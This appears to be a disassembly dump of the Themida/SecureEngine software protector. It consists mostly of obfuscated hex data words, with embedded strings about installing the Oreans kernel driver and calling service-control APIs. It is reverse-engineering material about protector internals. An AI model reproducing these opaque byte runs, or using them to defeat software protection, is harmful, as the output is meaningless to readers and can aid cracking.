dd 60708CDh, 1ACDBD83h, 0F000607h, 0C84h, 0DFB5FF00h, 0FF0609A8h
dd 9A8EB95h, 0DFB5FF06h, 0FF0609A8h, 70C6995h, 60C36106h
dd 0A8E385C7h, 10609h, 858D0000h, 609A8DFh, 49858D50h
dd 500609A8h, 268h, 0EF95FF80h, 0B0609A8h, 0F840FC0h, 0C7000000h
dd 9A8E385h, 6, 4DE900h, 46A0000h, 0A8E3858Dh, 6A500609h
dd 8D006A04h, 9A85D85h, 0B5FF5006h, 609A8DFh, 8CD95FFh
dd 0C00B0607h, 0F840Fh, 85C70000h, 609A8E3h, 0
dd 0AE9h, 0E385C700h, 10609A8h, 0FF000000h, 9A8DFB5h, 6995FF06h
dd 6106070Ch, 0A8E3858Bh, 60C30609h, 0A8E38589h, 858D0609h
dd 609A8DFh, 49858D50h, 500609A8h, 168h, 0EF95FF80h, 6A0609A8h
dd 0E3858D04h, 500609A8h, 6A046Ah, 0A85D858Dh, 0FF500609h
dd 9A8DFB5h, 0CD95FF06h, 83060708h, 71ACDBDh, 840F0006h
dd 0Ch, 0A8DFB5FFh, 95FF0609h, 609A8EBh, 0A8DFB5FFh, 95FF0609h
dd 6070C69h, 8960C361h, 9A8E385h, 0DF858D06h, 500609A8h
dd 0A849858Dh, 68500609h, 80000001h, 0A8EF95FFh, 46A0609h
dd 0A8E3858Dh, 6A500609h, 8D006A04h, 9A86F85h, 0B5FF5006h
dd 609A8DFh, 8CD95FFh, 0BD830607h, 6071ACDh, 0C840F00h
dd 0FF000000h, 9A8DFB5h, 0EB95FF06h, 0FF0609A8h, 9A8DFB5h
dd 6995FF06h, 6106070Ch, 0CD85C6C3h, 52060709h, 0E47B0768h
dd 0E5B5FFADh, 0FF060729h, 72C9595h, 0EF858906h, 0C60609A8h
dd 709CD85h, 0E5685206h, 0FF902E00h, 729E5B5h, 9595FF06h
dd 8906072Ch, 9A8EB85h, 0CD85C606h, 52060709h, 0BF123568h
dd 0E5B5FFB9h, 0FF060729h, 72C9595h, 0CD858906h, 0C6060708h
dd 709CD85h, 34685206h, 0FF987810h, 729E5B5h, 9595FF06h
dd 8906072Ch, 70C6985h, 0CD85C606h, 52060709h, 5DBD468h
dd 0E5B5FFC0h, 0FF060729h, 72C9595h, 29858906h, 0E8060722h
dd 13h, 0E5EBD435h, 478F0A23h, 5D4EF3Eh, 6E163460h, 0F0EFEFEh
dd 487h, 61605100h, 0C6815E5Fh, 6585h, 11E951h, 2CD60000h
dd 0E68870F3h, 0D2B3D5C9h, 0C494F932h, 5AA780A2h, 0BF66C92Bh
dd 1C8B2327h, 0B860F0Eh, 0E9000000h, 6, 9FC2B851h, 0F3817A09h
dd 7842D594h, 815ADC80h, 63E095F3h, 0FEBF0F23h, 6FB7F381h
dd 0D7B6264Bh, 0F0E1C89h, 185h, 14E9F800h, 6D000000h, 7EF19121h
dd 31990C49h, 8035D23Ch, 16D6C6B0h, 83C2F928h, 49F803E9h
dd 58B5B253h, 9B2CF981h, 850FFFFFh, 0FFFFFF9Ah, 8E9h, 16A3DB00h
dd 4554D1D3h, 0BE8C8h, 1BD0000h, 0F54F974Dh, 1DB01D15h
dd 0CB8B66FDh, 15E3815Fh, 814401CDh, 6F4DC7h, 0BACFB000h
dd 784EB208h, 0A9A5F281h, 0D181784Eh, 3DDAD543h, 8166378Bh
dd 81EA82E1h, 2CB549C6h, 0EDF5800Fh, 89FDC681h, 0D1813CFCh
dd 15C501A2h, 0A3B3C681h, 8B0F7E62h, 3, 89C88B66h, 0DFB70F37h
dd 3600EF81h, 81FC0AEFh, 0EF35FCC7h, 52D9800Ah, 0F01EA83h
dd 1485h, 20E9F800h, 22000000h, 0FF3692F4h, 0EE603FA6h
dd 61BD4696h, 0E9DEB46Ah, 0FFFFFF9Ch, 610904C4h, 0FFBA0FFEh
dd 0E9A24D1Ah, 99h, 6775622Fh, 63656863h, 2F00326Bh, 63677562h
dd 6B636568h, 6F662F00h, 72656372h, 2F006E75h, 63677562h
dd 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h
dd 776F6873h, 65646F63h, 632F0032h, 74726Ch, 7369642Fh
dd 732F0031h, 69776F68h, 6174736Eh, 65636Eh, 7465672Fh
dd 74736C77h, 73757461h, 6F6C2F00h, 61747367h, 737574h
dd 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio db '/checkprotection',0
align 4
dd 5BD8300h, 609B1h, 0A840Fh, 85C70000h, 6071135h, 1, 9CD85C6h
dd 0E8470607h, 4, 906D6C8Dh, 24448B50h, 89008B04h, 58042444h
dd 59DB5FFh, 858D0607h, 6073963h, 0D0FFD0FFh, 3F80F88Bh
dd 22850F22h, 47000000h, 0FAE22B0h, 0FFFFF985h, 3F80FFh
dd 318840Fh, 80470000h, 840F003Fh, 30Eh, 1EE9h, 3F8000h
dd 300840Fh, 3F800000h, 6850F20h, 47000000h, 6E9h, 0E2E94700h
dd 80FFFFFFh, 850F003Fh, 5, 2DDE9h, 1E900h, 80470000h
dd 840F203Fh, 0FFFFFFF6h, 0F003F80h, 585h, 2C0E900h, 0AE80000h
dd 0E9000000h, 0FFFFFFCBh, 2B1E9h, 85B58D00h, 0E80609B0h
dd 225h, 0B11ABD03h, 0BD830609h, 609B11Ah, 0B840F00h, 0C7000000h
dd 71ACD85h, 106h, 0B58DC300h, 609B090h, 1FCE8h, 1ABD0300h
dd 830609B1h, 9B11ABDh, 840F0006h, 0Bh, 113585C7h, 10607h
dd 8DC30000h, 9B109B5h, 1D3E806h, 0BD030000h, 609B11Ah
dd 0B11ABD83h, 0F000609h, 0B84h, 0E985C700h, 1060719h
dd 0C3000000h, 0B09AB58Dh, 0AAE80609h, 3000001h, 9B11ABDh
dd 1ABD8306h, 609B1h, 0B840Fh, 85C70000h, 6071135h, 1
dd 0A4B58DC3h, 0E80609B0h, 181h, 0B11ABD03h, 0BD830609h
dd 609B11Ah, 15840F00h, 0C7000000h, 7113585h, 106h, 0CD85C700h
dd 106071Ah, 0C3000000h, 0B0B2B58Dh, 4EE80609h, 3000001h
dd 9B11ABDh, 1ABD8306h, 609B1h, 0A840Fh, 85C70000h, 60732B5h
dd 1, 0B0BCB58Dh, 26E80609h, 3000001h, 9B11ABDh, 1ABD8306h
dd 609B1h, 0A840Fh, 85C70000h, 60732B5h, 1, 0B0C7B58Dh
dd 0FEE80609h, 3000000h, 9B11ABDh, 1ABD8306h, 609B1h, 0A840Fh
dd 85C70000h, 60713F1h, 1, 0B0CDB58Dh, 0D6E80609h, 3000000h
dd 9B11ABDh, 1ABD8306h, 609B1h, 0A840Fh, 85C70000h, 6072389h
dd 1, 0B0D3B58Dh, 0AEE80609h, 3000000h, 9B11ABDh, 1ABD8306h
dd 609B1h, 0A840Fh, 85C70000h, 6072A85h, 1, 0B0E1B58Dh
dd 86E80609h, 3000000h, 9B11ABDh, 1ABD8306h, 609B1h, 0A840Fh
dd 85C70000h, 6072FE1h, 1, 0B0EEB58Dh, 5EE80609h, 3000000h
dd 9B11ABDh, 1ABD8306h, 609B1h, 0A840Fh, 85C70000h, 607058Dh
dd 1, 0B0F9B58Dh, 36E80609h, 3000000h, 9B11ABDh, 1ABD8306h
dd 609B1h, 0A840Fh, 85C70000h, 6071EC5h, 1, 1E9h, 3F804700h
dd 9840F20h, 80000000h, 850F003Fh, 0FFFFFFEDh, 1B960C3h
dd 8B000000h, 19E9DEh, 3F800000h, 2850F00h, 2B000000h
dd 38178AC9h, 2840F16h, 2B000000h, 804746C9h, 840F003Eh
dd 8, 850FC90Bh, 0FFFFFFD6h, 840FC90Bh, 21h, 0F003F80h
dd 984h, 203F8000h, 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h
dd 0FC90B00h, 0D84h, 89F32B00h, 9B11AB5h, 0AE906h, 85C70000h
dd 609B11Ah, 0
dd 0C88BC361h, 20EE9h, 61433300h, 746F6E6Eh, 69727720h
dd 6F206574h, 6E616572h, 78762E73h, 4D0D0A64h, 20656B61h
dd 65727573h, 61687420h, 68742074h, 66207369h, 20656C69h
dd 6E207369h, 6220746Fh, 676E6965h, 65737520h, 79622064h
dd 6F6E6120h, 72656874h, 6F727020h, 6D617267h, 2Eh, 67h dup(0)
dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0)
dd 0E9000000h, 0EFh, 9CD85C6h, 68470607h, 0E3E45B86h, 59DB5FFh
dd 858D0607h, 6073963h, 468D0FFh, 8D000001h, 7312D9Dh
dd 0D0FF5306h, 96B58D50h, 8B0609B6h, 0AEC032FEh, 0FFF9850Fh
dd 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 0CD85C6A4h, 43060709h
dd 8E6EFC68h, 9DB5FFBCh, 8D060705h, 7396385h, 8DD0FF06h
dd 7312DB5h, 68006A06h, 80h, 6A026Ah, 68006Ah, 56C00000h
dd 0D88BD0FFh, 9CD85C6h, 68570607h, 0A69BEE56h, 59DB5FFh
dd 858D0607h, 6073963h, 0BD8DD0FFh, 60722FDh, 0B7BC8D8Dh
dd 6A0609h, 37D06857h, 53510000h, 0C085D0FFh, 1B850Fh
dd 0B58D0000h, 609B49Eh, 9FA8858Dh, 0D0FF0609h, 6FE48D8Dh
dd 0B80607h, 0FF000000h, 0CD85C6E1h, 43060709h, 764AA768h
dd 9DB5FFC0h, 8D060705h, 7396385h, 53D0FF06h, 0B9C3D0FFh
dd 37D0h, 0E8h, 0C0835800h, 0E908890Eh, 2, 0D0E9C38Bh
dd 4D000037h, 300905Ah, 4000000h, 0FF000000h, 0B80000FFh
dd 0
dd 40000000h, 8 dup(0)
dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h
dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh
dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh
dd 240A0D0Dh, 0
dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h
dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h
dd 887376h, 0
dd 4C000000h, 45h, 2000000h, 400h, 0
dd 14000380h, 5 dup(0)
dd 0C0000002h, 90000001h, 0
dd 7E000000h, 0
dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0)
dd 2C000000h, 38000001h, 1, 0
dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1
dd 0
dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0)
dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h
dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h
dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h
dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h
dd 1000000h, 3000103h, 2 dup(0)
dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h
dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h
dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh
dd 27h, 360h dup(0)
dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0)
dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h
dd 527376h, 9C3h dup(0)
dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h
dd 9 dup(0)
dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h
dd 58D1475h, 0
dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h
dd 4244445Fh, 0E9000000h, 10A9h, 41564441h, 32334950h
dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h
dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h
dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h
dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h
dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h
dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh
dd 65536C6Fh, 63697672h, 65h, 7 dup(0)
dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0
dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0)
dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h
dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h
dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch
dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0)
dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h
dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h
dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h
dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h
dd 6E616572h, 2E323373h, 737973h, 49h dup(0)
a3cannotUpdateO db '3Cannot Update oreans.sys driver. Please, make sure that you have'
db 0Ah
db 0Dh,'administrator',27h,'s permits the first time that you are going to '
db 'run this program.',0
align 4
dd 59h dup(0)
a3cannotOpenOre db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah
db 0Dh,'is not open by another program.',0
align 4
dd 67h dup(0)
a3secureengineD db '3SecureEngine driver cannot be updated because there are some pro'
db 'grams using',0Ah
db 0Dh,'it. You need to close those programs or restart your computer.',0Ah
db 0Dh,'Restart now?',0
align 10h
dd 80h dup(0)
dword_56C180 dd 59h dup(0) ; DATA XREF: Themida_:00545673o
a_Oreans_vxd db '\\.\Oreans.vxd',0
align 4
dd 2 dup(0)
dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0)
aSeshutdownpr_0 db 'SeShutdownPrivilege',0
dd 0
aCreateeventApi db 'CreateEvent API Error while extraction the driver',0
aGetenvironment db 'GetEnvironmentVariable API Error while extraction the driver',0
aOpenscmanagerA db 'OpenSCManager API Error while extraction the driver',0
aCreateserviceA db 'CreateService API Error while extraction the driver',0
aCloseservice_0 db 'CloseServiceHandle API Error while extraction the driver',0
aOpenserviceApi db 'OpenService API Error while extraction the driver',0
aStartserviceAp db 'StartService API Error while extraction the driver',0
aApicErrorCanno db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah
db 0Dh,'contact info@oreans.com for this error',0
align 10h
dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch
dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h
dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h
dd 70h dup(0)
dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh
dd 9400h, 500h, 100h, 0A2800h, 200h, 21h dup(0)
dd 66C48B00h, 8589F88Bh, 6071FF1h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 33C35242h, 127B2D2h, 70D29B5h
dd 818D8B06h, 8B060700h, 88C0FC0h, 0F000000h, 283h, 8345B500h
dd 71ACDBDh, 9750006h, 1135BD83h, 74000607h, 8B535019h
dd 43DB8C0h, 85890000h, 6071F7Dh, 0ADC09D8Dh, 0D3FF0609h
dd 0BD83585Bh, 6071135h, 50177400h, 43DB853h, 85890000h
dd 6071F7Dh, 0AAAF9D8Dh, 0D3FF0609h, 7FB1585Bh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2C35646h, 8BF5DD52h
dd 0FC08BCEh, 68Bh, 9DBD0B00h, 8B060704h, 70FC995h, 60C08B06h
dd 0AE960h, 44560000h, 0D1842ADAh, 7E571567h, 3098D8Bh
dd 0F610607h, 687h, 8E0F00h, 61000000h, 1ACDBD83h, 75000607h
dd 35BD8309h, 60711h, 53501374h, 0B8C08Bh, 8D000000h, 9AC629Dh
dd 5BD3FF06h, 35BD8358h, 60711h, 53501174h, 0B8h, 139D8D00h
dd 0FF0609ABh, 0B9585BD3h, 6E4E22E5h, 305D9529h, 0C08B0607h
dd 4B11BA66h, 8589C08Bh, 6072FFDh, 1ACDBD83h, 75000607h
dd 35BD8309h, 60711h, 53501374h, 0B8C08Bh, 8D000000h, 9AB949Dh
dd 5BD3FF06h, 35BD8358h, 60711h, 53501174h, 0B8h, 0E19D8D00h
dd 0FF0609AAh, 0BA585BD3h, 0E13DF9h, 0E258D8Bh, 0C08B0607h
dd 14E8h
db 0
byte_56C991 db 12h, 90h, 0CDh ; DATA XREF: Themida_:0053CAA4o
dd 0C6B65A61h, 8A720C0Ch, 0EB3A9937h, 0D2343C93h, 16B966DDh
dd 8D8959C5h, 60702E5h, 9529C08Bh, 607194Dh, 1ACDBD83h
dd 75000607h, 35BD8309h, 60711h, 53501374h, 0B8C08Bh, 8D000000h
dd 9ABFB9Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501174h, 0B8h
dd 0FA9D8D00h, 0FF0609AAh, 8B585BD3h, 728A98Dh, 0BDBD8B06h
dd 8B06071Dh, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 0ED581F22h, 0F18D8BA5h, 8B06072Fh
dd 4FC281C0h, 8363FCAFh, 71ACDBDh, 9750006h, 1135BD83h
dd 74000607h, 8B535013h, 0B8C0h, 9D8D0000h, 609AB2Dh, 585BD3FFh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 62C35343h
dd 0D42B8AFEh, 0C08BCB8Bh, 2CE8BF66h, 0F60C08Bh, 61F9F3B7h
dd 1ACDBD83h, 75000607h, 35BD8309h, 60711h, 53501974h
dd 0D0B8C08Bh, 89000007h, 71F7D85h, 0C09D8D06h, 0FF0609ADh
dd 83585BD3h, 71135BDh, 17740006h, 0D0B85350h, 89000007h
dd 71F7D85h, 0AF9D8D06h, 0FF0609AAh, 0E8585BD3h, 0Eh, 450E386Fh
dd 0E6D034AAh, 0DA292001h, 0E95AEF1Dh, 10h, 2F62A5A0h
dd 0DC20EE42h, 1CF71171h, 0D4F48C64h, 8529C08Bh, 6072BC9h
dd 9CD85C6h, 6A530607h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 0DF2AC350h, 0B589DD06h
dd 6070549h, 32619589h, 90680607h, 8199395Fh, 721905F7h
dd 9DB5FF64h, 6A060705h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 31D3C350h, 71A1D95h
dd 63858D06h, 0F060739h, 280h, 0FFF58A00h, 89F08AD0h, 7185985h
dd 118D8906h, 0C6060702h, 709CD85h, 8D8B5706h, 6070D31h
dd 4520668h, 0C18D2990h, 0FF060720h, 7059DB5h, 14E906h
dd 0F1450000h, 74BD6BCAh, 0C8E845B4h, 8692A4E9h, 25646318h
dd 858DDC4Ch, 6073963h, 0CE8h, 25C35400h, 0EB129031h, 0CBD242EBh
dd 0B995037Eh, 5906070Bh, 0EA81D0FFh, 55721F99h, 2B898589h
dd 95890607h, 60707C1h, 9CD85C6h, 53430607h, 7F1BD8Bh
dd 68590607h, 0BC907028h, 9E960h, 0E9A80000h, 0EC70B744h
dd 61745CFFh, 59DB5FFh, 0D1810607h, 1691D855h, 3963858Dh
dd 81660607h, 0FF28CBD7h, 6E9D0h, 0B7F30000h, 8217A159h
dd 19F19589h, 85890607h, 60707EDh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 0E8C35242h, 70FA1E5Dh, 34E42269h
dd 0C895B960h, 0D081789Ah, 3FC84319h, 0CD85C661h, 4C060709h
dd 5B58589h, 0E9680607h, 8BD9DA1Ch, 71ADD95h, 9DB5FF06h
dd 6A060705h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 51F1C357h, 0E9B44418h, 0Dh, 589F8B50h
dd 0A0B7F46Dh, 24E36291h, 63858DCDh, 89060739h, 703999Dh
dd 0BE906h, 0E6FF0000h, 8CEFE606h, 0C9040411h, 0E9D0FFABh
dd 6, 0B47C7AFBh, 8589B1ADh, 6070F15h, 8A80C181h, 890F0056h
dd 6, 20798D89h, 85C60607h, 60709CDh, 0C5BD8B46h, 6806070Ah
dd 0BADE0614h, 3CE8BA66h, 0FFF98B66h, 7059DB5h, 68D0F06h
dd 89000000h, 70DA58Dh, 29B58906h, 8D060718h, 7396385h
dd 0C5BF6606h, 8BD0FF71h, 70FE18Dh, 0D858906h, 0E8060711h
dd 8, 236B1089h, 643C63B0h, 1B198D01h, 0C6590607h, 709CD85h
dd 8D094706h, 6072AD5h, 0FB5E268h, 12A8BF8Ah, 0B5FF5664h
dd 607059Dh, 20FD958Bh, 858D0607h, 6073963h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0FAC35040h, 42712F27h
dd 0FF51AA10h, 8EBF66D0h, 0BD8589B6h, 6A06070Dh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
dd 6251C355h, 0AE9h, 63C6E700h, 8B73C3FAh, 0C64FC930h
dd 709CD85h, 66F54706h, 5D8CF181h, 0D0B5F368h, 14E983h
dd 0D1E90000h, 3DBB5192h, 0F219F172h, 0BE742F04h, 0A272FCDh
dd 0B5FFE09Bh, 607059Dh, 0D29BD8Bh, 858D0607h, 6073963h
dd 8890Fh, 810F0000h, 2, 0D0FFF48Ah, 2F7D8D0Bh, 85890607h
dd 6071949h, 11E9h, 0C7328800h, 345203D9h, 0AD830398h
dd 2578BB96h, 0EE8B818h, 83000000h, 56A42D83h, 0B3D25A05h
dd 752C8061h, 0F98B66A3h, 0CD85C65Fh, 77060709h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 64C35141h, 298529BFh
dd 6606072Ch, 9678DF81h, 97A8A368h, 51006AF3h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0B22E2AA4h
dd 0BD899C2Bh, 6071221h, 1085B5FFh, 0F7810607h, 6D45B90Ah
dd 3963858Dh, 3AB20607h, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 0AA6790C3h, 0C96AC05Eh
dd 0F281A101h, 2A72F7C2h, 8589D48Ah, 60700A1h, 85C6CF8Bh
dd 60709CDh, 53006A47h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 5BD8997h, 68060700h, 8728FAF6h, 216D8D8Bh
dd 0B5FF0607h, 607059Dh, 10E9F5h, 0BFBC0000h, 16BF8E74h
dd 7D54C957h, 7AFB315Eh, 858DB47Ch, 6073963h, 2A9D8589h
dd 0D0FF0607h, 1B4D9533h, 85890607h, 6070651h, 23218D8Bh
dd 85C60607h, 60709CDh, 1165BF43h, 0FC680388h, 6ABC8E6Eh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 0C7F0C353h, 0E3D5BFE7h, 0B5FF732Fh, 607059Dh
dd 0AC58D8Bh, 858D0607h, 6073963h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 0AFC35747h, 3909ACB3h, 1B658D29h
dd 0AE90607h, 70000000h, 0CAC5A4CAh, 6C75E7h, 6AD0FF3Eh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 0CAF3C351h, 2D8589A5h, 66060711h, 0C6FC7FB9h
dd 709CD85h, 0FE8B4506h, 72696968h, 52006A8Eh, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 2A78DA42h
dd 0D34B4CBAh, 0D6805B34h, 9DB5FF28h, 6A060705h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 2CE8C351h, 3CAD011Dh, 8C99589h, 858D0607h, 6073963h
dd 0D0D9589h, 8D890607h, 60702FDh, 8D8BD0FFh, 6071D95h
dd 2BDD8589h, 0BD8B0607h, 6070D65h, 9CD85C6h, 0B440607h
dd 729E1BDh, 6800F06h, 9000000h, 705498Dh, 0EC646806h
dd 6AB8F2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 0EDFAADC3h, 894BC67Fh, 72E4D95h, 13E906h
dd 0ACB0000h, 826F7347h, 348DC415h, 36D7FF2Dh, 0E16BBEEAh
dd 9DB5FF9Ah, 81060705h, 0FB346C9h, 63858D44h, 6A060739h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 0A5F9C353h, 0D0FF7871h, 13E9h, 94A8F900h
dd 3B98FC25h, 53A66BA5h, 9A70F510h, 0D988E77h, 1E658589h
dd 10E90607h, 36000000h, 296570A6h, 9A8C4255h, 6F0FD98Bh
dd 60482BEEh, 66F3B70Fh, 6121D1BBh, 9CD85C6h, 60430607h
dd 13E9h, 0F7A20500h, 995AB2F7h, 8E34D847h
dd 0A4FCF17Fh, 0DED1FD47h, 4AA76861h, 0FFF8C076h, 7059DB5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 0A472BBBh, 56677CBBh, 0A698D31h, 60600607h
dd 319958Bh, 958B0607h, 6070BC9h, 2DBD2961h, 61060703h
dd 3963858Dh, 0D0FF0607h, 28B1958Bh, 14E90607h, 0B000000h
dd 721E65FFh, 0FEFB7514h, 7107B7E1h, 0C775B8AAh, 89979ED2h
dd 702C185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1504h, 0C3534300h, 8B66B666h, 7FBD80D1h, 609FBh, 93840Fh
dd 858D0000h, 609FB61h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 63C35141h, 0D3F837E3h, 0F5750B3h, 85h
dd 16A5900h, 1061B589h, 6A0607h, 43D98166h, 89006A37h
dd 711E585h, 0ED95FF06h, 81060707h, 0D3AE2CE7h, 0F585895Ch
dd 6A06072Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 14042444h, 41000000h, 6A06C351h, 0C5958BFFh, 0FF060718h
dd 72FF5B5h, 77CF8106h, 0FF25BD56h, 72B8995h, 0EFBA6606h
dd 0FC08BDDh, 1285h, 0DE900h, 569C0000h, 0BC5DA64Dh, 6CB2A909h
dd 834DC077h, 71ACDBDh, 9750006h, 1135BD83h, 74000607h
dd 8B535019h, 7D1B8C0h, 85890000h, 6071F7Dh, 0ADC09D8Dh
dd 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h, 7D1B853h
dd 85890000h, 6071F7Dh, 0AAAF9D8Dh, 0D3FF0609h, 0CB8B585Bh
dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
dd 53430000h, 8F8E04C3h, 66E428FBh, 28AEC281h, 9CD85C6h
dd 66470607h, 11412BFh, 71821B5h, 0F7C16806h, 0C58093C8h
dd 9DB5FFD1h, 0F8060705h, 3963858Dh, 13E90607h, 0FD000000h
dd 6E7DA442h, 2AEE6CDBh, 8881DCD0h, 856AA4C1h, 0D0FF0617h
dd 426A56BFh, 8D895075h, 60719FDh, 6870F57h, 0B000000h
dd 70241BDh, 858D5F06h, 609FFA2h, 2D819D29h, 0C70607h
dd 94h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h
dd 0CDC35141h, 661AB004h, 0E858CB8Bh, 8, 0EE4AF898h, 0A239D258h
dd 2AE1BD8Bh, 8D5F0607h, 9FFA2B5h, 0F9BF0F06h, 50006A56h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h
dd 45C9766Ch, 82A4192Bh, 11E9h, 61460200h, 2DDBF59Dh, 0C6E4244Ch
dd 7DD0B112h, 0D0FFE6E2h, 3518589h, 8D890607h, 6072A25h
dd 0FFA2858Dh, 83F80609h, 0F060478h, 4A85h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
dd 592B0521h, 36BAEABDh, 0C73FAD2Ah, 0A003685h, 106h, 12E900h
dd 30990000h, 28F55897h, 0AC05D86Eh, 0C4B4955Bh, 0A51B3C2h
dd 8308E980h, 70529BDh, 850F0006h, 52h, 10E852h, 0F4D30000h
dd 0CE8AB30Dh, 68400E4Dh, 0F30216Ah, 5E9E45Ch, 6D000000h
dd 7BAEE44Ch, 0BD83595Ah, 60A0036h, 23850F00h, 8B000000h
dd 0C5BD83D3h, 60705h, 14840Fh, 9D310000h, 6071F29h, 22B585C7h
dd 607h, 0B2510000h, 8C665FDFh, 45BD29DBh, 0F6060713h
dd 840F04C3h, 554h, 255BD2Bh, 85C70607h, 60719BDh, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 5C35141h
dd 0D181665Fh, 0BD80D6A0h, 609FB8Ch, 0C850F00h, 0F000000h
dd 685h, 358D8B00h, 0C6060715h, 709CD85h, 0BF0F4706h, 5B8668F9h
dd 0BF0FE3E4h, 9DB5FFFEh, 29060705h, 713059Dh, 63858D06h
dd 2B060739h, 72D7995h, 0E9D0FF06h, 13h, 0B3012BEDh, 0A7876F5Eh
dd 14354EC3h, 157B8026h, 68B31F83h, 104h, 9D8D72B1h, 607312Dh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0BFC35242h
dd 8529D978h, 60708A1h, 5E953h, 7D8A0000h, 0FF96CF64h
dd 85F781D0h, 8D4BB197h, 7312D85h, 0F19D8906h, 5006072Bh
dd 7E9h, 2600C400h, 16FF6624h, 0FB3E858Dh, 8D890609h, 607051Dh
dd 0F1816650h, 858DBD9Eh, 609F211h, 0C8CCBA66h, 55006A50h
